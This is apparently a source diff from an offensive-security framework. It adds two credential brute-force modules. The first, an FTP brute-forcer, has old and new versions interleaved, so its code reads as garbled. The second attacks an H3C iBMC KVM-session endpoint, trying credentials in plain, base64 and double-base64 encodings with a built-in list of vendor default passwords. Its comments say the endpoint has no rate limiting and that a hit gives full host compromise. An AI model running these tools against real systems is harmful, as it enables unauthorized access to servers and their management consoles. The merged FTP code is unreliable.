} else if target.matches(':').count() == 1 && !target.contains('[') {
if (target.starts_with('[') && target.contains("]:"))
|| (target.matches(':').count() == 1 && !target.contains('['))
{
target.to_string()
} else {
let clean_target = if target.starts_with('[') && target.ends_with(']') {
let clean = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean_target.contains(':') {
format!("[{}]:{}", clean_target, port)
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean_target, port)
format!("{}:{}", clean, port)
}
}
}
pub async fn run(target: &str) -> Result<()> {
println!("=== FTP Brute Force Module ===");
println!("[*] Target: {}", target);
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("ftp_bruteforce requires a single-host target")?;
display_banner();
let port: u16 = loop {
let input = prompt_default("FTP Port", "21")?;
if let Ok(p) = input.parse() { break p }
println!("Invalid port. Try again.");
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "500")?;
if let Ok(n) = input.parse::<usize>() {
if n > 0 { break n }
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
let port = cfg_prompt_port("port", "FTP Port", 21).await?;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output result file", "ftp_subnet_results.txt").await?;
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "ftp",
jitter_ms: 50,
source_module: "creds/generic/ftp_credcheck",
skip_tcp_check: false,
state_file: None,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
async move {
let addr = format!("{}:{}", ip, port);
match try_ftp_login(&addr, &ip.to_string(), &user, &pass, false).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
let et = FtpErrorType::classify_error(&e.to_string());
LoginResult::Error { message: e.to_string(), retryable: et.is_retryable() }
}
}
}
}).await?;
let mut outcome = ModuleOutcome::ok();
for (host, user, pass) in &hits {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid FTP credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "ftp",
"port": port,
})),
});
}
println!("Invalid number. Try again.");
};
return Ok(outcome);
}
// Create a semaphore to limit concurrent network operations
let semaphore = Arc::new(Semaphore::new(concurrency));
// --- Single Target Mode ---
let mut outcome = ModuleOutcome::ok();
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let port = cfg_prompt_port("port", "FTP Port", 21).await?;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 500, 1, 10000).await? as usize;
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt")?)
let default_name = format!("ftp_results_{}.txt", target.replace(['/', ':', '.', '[', ']', '\\'], "_"));
Some(cfg_prompt_output_file("output_file", "Output file", &default_name).await?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
let addr = format_addr(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if !combo_mode && users.is_empty() && !passes.is_empty() {
return Err(anyhow!(
"Username wordlist ('{}') is empty, but password wordlist ('{}') is not. \
Cannot proceed in line-by-line (non-combo) mode as it requires usernames to pair with passwords.",
usernames_file, passwords_file
));
if users.is_empty() {
crate::mprintln!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(ModuleOutcome::ok());
}
// (Optional: notifications for empty lists can remain here)
crate::mprintln!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
let mut tasks = FuturesUnordered::new();
if combo_mode {
for user in &users {
if *stop.lock().await && stop_on_success { break; }
for pass in &passes {
if *stop.lock().await && stop_on_success { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore for the task
tasks.push(tokio::spawn(async move {
// Acquire a permit. This will block if `concurrency` limit is reached.
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
// Proceed with the task logic only after a permit is acquired
if *stop_clone.lock().await && stop_on_success { return; }
match try_ftp_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success {
*stop_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
}
}
// Permit is automatically released when `_permit` goes out of scope here
}));
}
}
} else { // Line-by-line mode
if !users.is_empty() || passes.is_empty() {
for (i, pass) in passes.iter().enumerate() {
if *stop.lock().await && stop_on_success { break; }
let user = if users.is_empty() { continue; } else {
users.get(i % users.len()).expect("User list modulus logic error").clone()
};
let addr_clone = addr.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore); // Clone semaphore
tasks.push(tokio::spawn(async move {
// Acquire a permit
let _permit = semaphore_clone.acquire().await.expect("Failed to acquire semaphore permit");
if *stop_clone.lock().await && stop_on_success { return; }
match try_ftp_login(&addr_clone, &user, &pass_clone).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr_clone, user, pass_clone);
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
if stop_on_success {
*stop_clone.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr_clone, user, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr_clone, e));
}
}
// Permit released
}));
}
}
}
let mut processed_tasks_count = 0;
while let Some(res) = tasks.next().await {
dynamic_throttle(processed_tasks_count, concurrency).await; // Still useful for CPU/RAM based throttling
if let Err(e) = res {
log(verbose, &format!("[!] Task panicked (likely due to forced shutdown or internal error): {}", e));
}
processed_tasks_count += 1;
// (stop logic can remain)
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
let passes = if file_size(&passwords_file) > STREAMING_THRESHOLD {
crate::mprintln!("{}", "[*] Large password file — will stream in batches".cyan());
Vec::new()
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
let p = load_lines_uncapped(&passwords_file)?;
if p.is_empty() {
crate::mprintln!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(ModuleOutcome::ok());
}
if let Some(path) = save_path {
let file_path = get_filename_in_current_dir(&path);
match File::create(&file_path) {
Ok(mut file) => {
for (host, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
eprintln!("[!] Error writing to result file '{}'", file_path.display());
break;
}
}
println!("[+] Results saved to '{}'", file_path.display());
}
crate::mprintln!("{}", format!("[*] Loaded {} passwords", p.len()).cyan());
p
};
let extra_combos = if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
load_credential_file(&cred_path)?
} else {
Vec::new()
};
let combo_mode = parse_combo_mode(&combo_input);
let passwords_file_ref = passwords_file.clone();
// Capture verbose in the closure for try_ftp_login
let target_owned = target.to_string();
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
let try_login = move |t: String, p: u16, user: String, pass: String| {
let addr = format_addr(&t, p);
let verbose_flag = verbose;
let limiter = limiter.clone();
let module_path = module_path.clone();
async move {
limiter.acquire(&module_path, &t).await;
match try_ftp_login(&addr, &t, &user, &pass, verbose_flag).await {
Ok(true) => LoginResult::Success,
Ok(false) => LoginResult::AuthFailed,
Err(e) => {
eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
let et = FtpErrorType::classify_error(&e.to_string());
LoginResult::Error { message: e.to_string(), retryable: et.is_retryable() }
}
}
}
};
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay between attempts (ms)", 0, 0, 10000).await? as u64;
let max_retries = cfg_prompt_int_range("max_retries", "Max retries on error", 3, 0, 10).await? as usize;
let result = run_bruteforce_streaming(&BruteforceConfig {
target: target_owned,
port,
concurrency,
stop_on_success,
verbose,
delay_ms,
max_retries,
service_name: "ftp",
jitter_ms: 50,
source_module: "creds/generic/ftp_credcheck",
}, users, Some(&passwords_file_ref), passes, combo_mode, extra_combos, try_login).await?;
result.print_found();
if let Some(path) = save_path {
result.save_to_file(&path)?;
}
Ok(())
for (host, user, pass) in &result.found {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid FTP credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "ftp",
"port": port,
})),
});
}
Ok(outcome)
}
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
// (try_ftp_login function remains unchanged from your last working version)
// Attempt 1: Plain FTP
match AsyncFtpStream::connect(addr).await {
Ok(mut ftp) => {
match ftp.login(user, pass).await {
Ok(_) => {
let _ = ftp.quit().await;
return Ok(true);
}
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
return Ok(false);
} else if msg.contains("550 SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
log(true, &format!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr));
} else if msg.contains("421") {
println!("[-] {} - Server reported too many connections (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
// Log network errors if verbose, otherwise they might be too noisy
log(true, &format!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
return Err(anyhow!("FTP login error: {}", msg));
/// Try FTP login with FTPS fallback when TLS is required.
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
// Attempt plain FTP via source-port-aware TCP wrapper
let tcp_result = timeout(
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
crate::utils::network::tcp_connect_str(addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)),
).await;
match tcp_result {
Ok(Ok(tcp_stream)) => match AsyncFtpStream::connect_with_stream(tcp_stream).await {
Ok(mut ftp) => {
match ftp.login(user, pass).await {
Ok(_) => {
if let Err(e) = ftp.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); }
return Ok(true);
}
Err(e) => {
let msg = e.to_string();
match FtpErrorType::classify_error(&msg) {
FtpErrorType::AuthenticationFailed => return Ok(false),
FtpErrorType::TlsRequired => { if let Err(e) = ftp.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); } }
FtpErrorType::ConnectionLimitExceeded => {
sleep(Duration::from_secs(1)).await;
return Err(anyhow!("Connection limit exceeded (421)"));
}
// A connection drop DURING login (after a successful
// handshake) is genuinely transient → retryable Error.
FtpErrorType::ConnectionFailed => {
return Err(anyhow!("FTP connection error during login: {}", msg));
}
// Any other post-handshake login error means the server
// completed the handshake and then rejected the login
// with unusual wording (e.g. 430/532 or a localized
// message). That's a definitive auth result, not a
// transient fault — returning it as a retryable Error
// tripped the consecutive-error lockout on healthy hosts.
FtpErrorType::Unknown => {
tracing::debug!("FTP login rejected ({}): treating as auth failure", msg);
return Ok(false);
}
}
}
}
}
}
Err(e) => {
let msg = e.to_string();
if msg.contains("SSL/TLS required") || msg.contains("TLS required on the control channel") || msg.contains("220 TLS go first") || msg.contains("SSL connection required") {
log(true, &format!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr));
} else if msg.contains("421") {
println!("[-] {} - Server reported too many connections during connect (421). Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
} else {
// Log network errors if verbose
log(true, &format!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
return Err(anyhow!("FTP connection error: {}", msg));
}
}
Err(e) => return Err(anyhow!("FTP handshake error: {}", e)),
},
Ok(Err(e)) => return Err(e.into()),
Err(e) => return Err(anyhow!("Timeout: {e}")),
}
// 2️⃣ Only if needed, try FTPS
log(true, &format!("[i] {} Attempting FTPS login for user '{}'", addr, user));
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
.await
.map_err(|e| {
log(true, &format!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
anyhow!("FTPS base connect failed: {}", e)
})?;
// FTPS fallback
if verbose {
crate::mprintln!(" [v] {} — trying FTPS (TLS)...", addr);
}
let tcp_stream_tls = match timeout(
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
crate::utils::network::tcp_connect_str(addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)),
).await {
Ok(Ok(s)) => s,
Ok(Err(e)) => return Err(anyhow!("FTPS TCP connect failed: {}", e)),
Err(e) => return Err(anyhow!("FTPS connect timed out: {}", e)),
};
let ftp_plain_tls = match AsyncNativeTlsFtpStream::connect_with_stream(tcp_stream_tls).await {
Ok(s) => s,
Err(e) => return Err(anyhow!("FTPS FTP handshake failed: {}", e)),
};
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
.danger_accept_invalid_hostnames(true),
);
let domain = addr
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(addr);
let domain = if target.starts_with('[') {
target.trim_start_matches('[').split(']').next().unwrap_or(target)
} else {
target.split(':').next().unwrap_or(target)
};
ftp_tls = ftp_tls
.into_secure(connector, domain)
.await
.map_err(|e| {
log(true, &format!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e));
anyhow!("TLS upgrade failed: {}", e)
})?;
let mut ftp_tls = match ftp_plain_tls.into_secure(connector, domain).await {
Ok(s) => s,
Err(e) => return Err(anyhow!("TLS Upgrade: {}", e)),
};
match ftp_tls.login(user, pass).await {
Ok(_) => {
let _ = ftp_tls.quit().await;
if let Err(e) = ftp_tls.quit().await { crate::meprintln!("[!] FTP quit error: {}", e); }
Ok(true)
}
Err(e) => {
let msg = e.to_string();
if msg.contains("530") {
Ok(false)
} else {
log(true, &format!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e));
Err(anyhow!("FTPS error: {}", msg))
match FtpErrorType::classify_error(&e.to_string()) {
FtpErrorType::AuthenticationFailed => Ok(false),
_ => Err(anyhow!("FTPS Error: {}", e)),
}
}
}
}
// === Helpers === (prompt_required, prompt_default, prompt_yes_no, load_lines, log, get_filename_in_current_dir remain unchanged)
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("This field is required.");
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default_char);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
match input.as_str() {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader.lines().filter_map(Result::ok).collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
Path::new(input)
.file_name()
.map(|name_os_str| PathBuf::from(format!("./{}", name_os_str.to_string_lossy())))
.unwrap_or_else(|| PathBuf::from(input))
}
crate::register_native_module!(crate::module::Category::Creds, "generic/ftp_bruteforce", native);
@@ -0,0 +1,459 @@
//! H3C iBMC OEM KVM session brute force.
//!
//! H3C iBMC firmware exposes a vendor-specific KVM-session login endpoint at
//! `POST /api/oem_kvm/session`
//! that:
//!
//! * accepts credentials in three different encodings — plaintext,
//! base64, and double-base64 — and silently treats whichever decodes
//! to a valid string as authoritative;
//! * returns `200 OK` with an `X-Auth-Token` body field on success and
//! `401 Unauthorized` on failure;
//! * has **no rate limiting** (operator confirmed via PoC: thousands of
//! attempts/sec succeeded with no Retry-After / 429 / lockout);
//! * is independent of the user-facing :443 web UI lockout state — even
//! when the standard login is locked, this endpoint still services
//! attempts.
//!
//! The combination is a complete brute-force-to-virtual-media chain: a
//! discovered KVM credential gives the equivalent of physical console
//! access (mount ISO, BIOS reboot, OS reinstall).
//!
//! This module:
//! * Tries each `(user, password)` pair in three encodings.
//! * Honours `Retry-After` if the server *does* surface a 429 (some
//! hardened builds eventually do).
//! * Stops on the first successful pair and persists it via the
//! project-wide credential store.
//!
//! FOR AUTHORIZED TESTING ONLY.
use anyhow::{ anyhow, Context, Result };
use base64::Engine;
use colored::*;
use std::time::Duration;
use crate::module::{ Finding, FindingKind, ModuleCtx, ModuleOutcome };
use crate::module_info::{ ModuleInfo, ModuleRank };
use crate::utils::network::{ build_http_client_with, HttpClientOpts };
use crate::utils::{
cfg_prompt_default,
cfg_prompt_existing_file,
cfg_prompt_int_range,
cfg_prompt_yes_no,
normalize_target,
};
const DEFAULT_PORT: u16 = 443;
const DEFAULT_PATH: &str = "/api/oem_kvm/session";
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Built-in fallback credential pairs — mostly vendor defaults observed
/// across H3C-OEM hardware deployments. Operators should prefer their own
/// wordlist via `userlist`/`passlist`.
const DEFAULT_CREDS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "Password@_"),
("admin", "Password@123"),
("admin", "h3capadmin"),
("admin", "Admin@9000"),
("Administrator", "Admin@9000"),
("Administrator", "Administrator"),
("sysadmin", "superuser"),
("root", "root"),
("root", "calvin"),
("operator", "operator"),
];
/// Encodings the endpoint accepts. The base64 / double-base64 variants
/// matter because legacy clients post one of these formats and the server
/// normalises them — so a wordlist hit may only fire under a non-plain
/// encoding when the server's password store happens to compare against
/// that decoded form.
#[derive(Clone, Copy, Debug)]
enum Encoding {
Plain,
Base64,
DoubleBase64,
}
impl Encoding {
fn label(self) -> &'static str {
match self {
Encoding::Plain => "plain",
Encoding::Base64 => "b64",
Encoding::DoubleBase64 => "b64x2",
}
}
fn encode(self, value: &str) -> String {
match self {
Encoding::Plain => value.to_string(),
Encoding::Base64 => base64::engine::general_purpose::STANDARD.encode(value),
Encoding::DoubleBase64 => {
let once = base64::engine::general_purpose::STANDARD.encode(value);
base64::engine::general_purpose::STANDARD.encode(once)
}
}
}
}
/// Outcome of a single login attempt. Distinguishes a transport/transient
/// failure (which must NOT be treated as a denied credential) from a genuine
/// authentication rejection.
enum AttemptResult {
/// Endpoint returned a session token — credential is valid.
Hit(String),
/// Endpoint definitively rejected the credential (401/403 or no token).
Denied,
/// Transient transport error (timeout, reset, TLS, connect refused).
/// Retryable; never counts as a denial.
Transient(String),
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".red());
crate::mprintln!("{}", "║ H3C iBMC OEM KVM Session Brute Force ║".red().bold());
crate::mprintln!("{}", "║ POST /api/oem_kvm/session — no rate limit on default builds║".red());
crate::mprintln!("{}", "║ Tries plain / base64 / double-base64 credential encodings ║".red());
crate::mprintln!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".red());
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".red());
crate::mprintln!();
}
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "H3C iBMC OEM KVM Session Brute Force".to_string(),
description: "Brute-forces the H3C iBMC vendor-specific KVM session login at \
POST /api/oem_kvm/session, which has no rate limiting on default \
firmware builds. Tests every (user, password) pair in plaintext, \
base64, and double-base64 encodings — the endpoint silently accepts \
all three. A successful hit yields an X-Auth-Token that grants \
virtual-media + reboot equivalents (full host compromise)."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/".to_string(),
"https://cwe.mitre.org/data/definitions/307.html".to_string(),
],
disclosure_date: None,
rank: ModuleRank::Excellent,
default_port: None,
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("h3c_oem_kvm_bruteforce requires a single-host target")?;
display_banner();
let mut outcome = ModuleOutcome::ok();
let normalized = normalize_target(target)?;
let host_input = if normalized.is_empty() {
return Err(anyhow!("target is required"));
} else {
normalized
};
let port = cfg_prompt_int_range("port", "Target port", DEFAULT_PORT as i64, 1, 65535).await? as u16;
let path = cfg_prompt_default("path", "API path", DEFAULT_PATH).await?;
let timeout_secs = cfg_prompt_int_range("timeout", "Per-attempt timeout (seconds)", DEFAULT_TIMEOUT_SECS as i64, 1, 60).await? as u64;
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try the built-in default credential list?", true).await?;
let load_user_wordlist = cfg_prompt_yes_no("user_wordlist", "Load a username wordlist?", false).await?;
let user_path = if load_user_wordlist {
Some(cfg_prompt_existing_file("userlist", "Path to username wordlist").await?)
} else { None };
let load_pass_wordlist = cfg_prompt_yes_no("pass_wordlist", "Load a password wordlist?", false).await?;
let pass_path = if load_pass_wordlist {
Some(cfg_prompt_existing_file("passlist", "Path to password wordlist").await?)
} else { None };
let try_all_encodings = cfg_prompt_yes_no("try_all_encodings", "Try plain + base64 + double-base64 for each pair?", true).await?;
let stop_on_hit = cfg_prompt_yes_no("stop_on_hit", "Stop on first valid credential?", true).await?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose (log each attempt)", false).await?;
// Build the candidate list.
let mut pairs: Vec<(String, String)> = Vec::new();
if use_defaults {
for (u, p) in DEFAULT_CREDS { pairs.push((u.to_string(), p.to_string())); }
}
if let (Some(ufile), Some(pfile)) = (user_path.as_ref(), pass_path.as_ref()) {
let users = read_lines(ufile).await?;
let passwords = read_lines(pfile).await?;
for u in &users {
for p in &passwords {
pairs.push((u.clone(), p.clone()));
}
}
} else if let Some(pfile) = pass_path.as_ref() {
let passwords = read_lines(pfile).await?;
let users: Vec<&str> = if user_path.is_some() {
return Err(anyhow!("internal: user_path branch handled above"));
} else {
// Default to "admin" if only a password wordlist was given.
vec!["admin"]
};
for u in &users {
for p in &passwords {
pairs.push((u.to_string(), p.clone()));
}
}
} else if let Some(ufile) = user_path.as_ref() {
let users = read_lines(ufile).await?;
for u in &users {
pairs.push((u.clone(), "admin".to_string()));
pairs.push((u.clone(), "password".to_string()));
pairs.push((u.clone(), u.clone()));
}
}
if pairs.is_empty() {
return Err(anyhow!("no candidate credentials configured — pick at least defaults or a wordlist"));
}
let encodings: Vec<Encoding> = if try_all_encodings {
vec![Encoding::Plain, Encoding::Base64, Encoding::DoubleBase64]
} else {
vec![Encoding::Plain]
};
let host = format!("{}:{}", strip_scheme(&host_input), port);
let client = build_http_client_with(
Duration::from_secs(timeout_secs),
HttpClientOpts::permissive_unconditional(),
).context("Failed to build HTTP client")?;
crate::mprintln!("{}", format!(
"[*] Target: https://{}{} ({} pair(s) × {} encoding(s) = {} attempts)",
host, path, pairs.len(), encodings.len(), pairs.len() * encodings.len(),
).cyan());
// How many times to re-attempt a single (user, pass, encoding) when the
// endpoint returns a transient transport error before giving up on that
// attempt. Without this, a momentary blip would silently drop a real hit.
const MAX_TRANSIENT_RETRIES: u32 = 3;
let mut found: Vec<(String, String, Encoding, String)> = Vec::new();
let mut tried = 0u64;
'outer: for (user, pass) in &pairs {
for enc in &encodings {
if ctx.is_cancelled() { break 'outer; }
tried += 1;
// Retry transient transport errors with exponential backoff so a
// network blip never masquerades as a denied credential.
let mut attempt = 0u32;
let result = loop {
if ctx.is_cancelled() { break 'outer; }
ctx.rate_limit(target).await;
match try_login(&client, &host, &path, user, pass, *enc).await {
AttemptResult::Transient(msg) if attempt < MAX_TRANSIENT_RETRIES => {
attempt += 1;
if verbose {
crate::mprintln!("{}", format!(
"[~] {}:{} ({}) transient error ({}); retry {}/{}",
user, pass, enc.label(), msg, attempt, MAX_TRANSIENT_RETRIES
).dimmed());
}
let backoff = Duration::from_millis(250u64 * (1u64 << (attempt - 1)));
tokio::time::sleep(backoff).await;
continue;
}
other => break other,
}
};
match result {
AttemptResult::Hit(token) => {
crate::mprintln!("{}", format!(
"[+] HIT: {}:{} ({}) -> X-Auth-Token={}",
user, pass, enc.label(), token
).green().bold());
if crate::cred_store::store_credential(crate::cred_store::NewCred {
host: &host, port, service: "https", username: user, secret: pass,
cred_type: crate::cred_store::CredType::Password,
source_module: "creds/generic/h3c_oem_kvm_bruteforce",
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Credential,
message: format!("H3C iBMC OEM KVM credentials valid {}:{} ({}) on {}", user, pass, enc.label(), host),
data: Some(serde_json::json!({
"service": "https",
"port": port,
"username": user,
"password": pass,
"encoding": enc.label(),
"token": token,
})),
});
found.push((user.clone(), pass.clone(), *enc, token));
if stop_on_hit { break 'outer; }
}
AttemptResult::Denied => {
if verbose {
crate::mprintln!("{}", format!(
"[-] {}:{} ({}) — denied", user, pass, enc.label()
).dimmed());
}
}
AttemptResult::Transient(msg) => {
// Exhausted retries: surface as a Note so the operator
// knows this pair was NOT actually tested (vs. denied),
// and never treat it as a clean negative.
crate::mprintln!("{}", format!(
"[!] {}:{} ({}) — untested after {} transient error(s): {}",
user, pass, enc.label(), MAX_TRANSIENT_RETRIES, msg
).yellow());
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Note,
message: format!(
"H3C iBMC OEM KVM attempt {}:{} ({}) on {} could not be completed (transient error: {}); credential status unknown",
user, pass, enc.label(), host, msg
),
data: Some(serde_json::json!({
"service": "https",
"port": port,
"username": user,
"password": pass,
"encoding": enc.label(),
"error": msg,
"tested": false,
})),
});
}
}
}
}
crate::mprintln!();
crate::mprintln!("{}", format!(
"[*] {} attempts; {} valid credential(s)",
tried, found.len()
).cyan().bold());
if found.is_empty() {
crate::mprintln!("{}", "[-] No valid credentials found.".yellow());
}
Ok(outcome)
}
/// Single login attempt. Returns an [`AttemptResult`] that lets the caller
/// distinguish a valid credential (`Hit`) from a genuine rejection (`Denied`)
/// and from a transient transport failure (`Transient`) — the latter must be
/// retried rather than silently recorded as "credential not valid".
async fn try_login(
client: &reqwest::Client,
host: &str,
path: &str,
user: &str,
pass: &str,
enc: Encoding,
) -> AttemptResult {
let url = format!("https://{}{}", host, path);
let form = [
("username", enc.encode(user)),
("password", enc.encode(pass)),
("free_login", "1".to_string()),
("log_type", "1".to_string()),
];
let resp = match client.post(&url).form(&form).send().await {
Ok(r) => r,
// Transport-level failures (timeout, connect refused, TLS, reset) are
// transient: they say nothing about whether the credential is valid.
Err(e) => return AttemptResult::Transient(format!("send: {e}")),
};
let status = resp.status();
if status.as_u16() == 429 {
if let Some(retry) = resp.headers().get("Retry-After")
.and_then(|v| v.to_str().ok())
.and_then(|v| v.parse::<u64>().ok())
{
tokio::time::sleep(Duration::from_secs(retry.min(60))).await;
}
// Rate-limited: not a denial — let the caller retry.
return AttemptResult::Transient("429 rate limited".to_string());
}
// 5xx are server-side transient errors, not credential rejections.
if status.is_server_error() {
return AttemptResult::Transient(format!("server error {}", status.as_u16()));
}
if !status.is_success() {
// 401/403/etc. — a definitive authentication rejection.
return AttemptResult::Denied;
}
// Capture the token from the response HEADER before consuming the body —
// Redfish-style BMCs return X-Auth-Token as a header, not (only) in the JSON.
let header_token = match resp.headers().get("X-Auth-Token").map(|v| v.to_str()) {
